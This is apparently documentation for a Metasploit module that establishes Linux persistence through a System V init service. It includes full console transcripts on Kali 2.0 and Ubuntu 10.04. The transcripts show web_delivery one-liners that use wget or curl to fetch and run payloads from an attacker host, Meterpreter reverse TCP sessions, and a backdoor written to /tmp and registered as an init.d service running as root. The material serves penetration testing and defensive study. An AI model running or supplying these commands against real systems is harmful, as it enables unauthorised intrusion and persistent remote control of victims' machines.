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metasploit-gs/documentation/modules/exploit/linux/persistence/init_sysvinit.md
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h00die 55583bd2c8 review for sysv persistence
2025-10-14 19:30:06 -04:00

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## Vulnerable Application
This module will create a service via System V on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services.
Some systems include backwards compatibility, such as Ubuntu up to about 16.04.
Targets:
* CentOS <= 5
* Debian <= 6
* Kali 2.0
* Ubuntu <= 6.06
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
Verified on [Kali 2.0](https://old.kali.org/kali-images/kali-2.0/kali-linux-2.0-amd64.iso) and Ubuntu 10.04
## Verification Steps
1. Exploit a box
2. `use exploit/linux/persistence/init_sysvinit`
3. `set SESSION <session>`
4. `set PAYLOAD <payload>`
5. `set LHOST <lhost>`
6. `exploit`
## Options
### SERVICE
The name of the service to create. If not chosen, a random one is created.
### PAYLOAD_NAME
The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
### EnableService
If the service should be enabled. Defaults to `true`
## Scenarios
### Kali 2.0
Initial access vector via web delivery
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 1KkF4s8n --no-check-certificate http://111.111.1.111:8181/l; chmod +x 1KkF4s8n; ./1KkF4s8n& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:56459) at 2025-02-16 07:51:56 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/root) > getuid
Server username: root
(Meterpreter 1)(/root) > sysinfo
Computer : kali2.0
OS : Kali 2.0 (Linux 4.0.0-kali1-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/root) > background
[*] Backgrounding session 1...
```
Persistence
```
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_sysvinit
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > exploit
[*] Command to run on remote host: curl -so ./BQVXqXpLiG http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./BQVXqXpLiG;./BQVXqXpLiG&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_sysvinit) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is System V based
[*] Writing backdoor to /tmp//MarxU
[*] Utilizing update-rc.d
[*] Writing service: /etc/init.d/JIxbnwyUcQ
[+] Enabling & starting our service
[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg
[*] Sending payload to 222.222.2.22 (curl/7.38.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.22
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:55807) at 2025-02-16 07:56:21 -0500
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/kali2.0_20250216.5622/kali2.0_20250216.5622.rc
```
### Ubuntu 10.04
Initial Access
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO USCPscnY --no-check-certificate http://1.1.1.1:8082/l; chmod +x USCPscnY; ./USCPscnY& disown
msf exploit(multi/script/web_delivery) >
msf exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34107) at 2025-10-14 19:25:56 -0400
```
Persistence
```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_sysvinit
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/init_sysvinit) > set session 1
session => 1
msf exploit(linux/persistence/init_sysvinit) > set fetch_command wget
fetch_command => wget
msf exploit(linux/persistence/init_sysvinit) > exploit
[*] Command to run on remote host: wget -qO ./udAHcvdgUY http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./udAHcvdgUY;./udAHcvdgUY&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/init_sysvinit) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[+] The target appears to be vulnerable. /tmp/ is writable and system is System V based
[*] Writing backdoor to /tmp//WwOLntsn
[*] Utilizing update-rc.d
[*] Writing service: /etc/init.d/YdLNVodgv
[+] Enabling & starting our service (10 second delay for payload)
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/ubuntu10.04_20251014.2751/ubuntu10.04_20251014.2751.rc
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 2.2.2.2 (Wget/1.12 (linux-gnu))
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:59491) at 2025-10-14 19:28:01 -0400
msf exploit(linux/persistence/init_sysvinit) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : ubuntu10.04
OS : Ubuntu 10.04 (Linux 2.6.32-21-server)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
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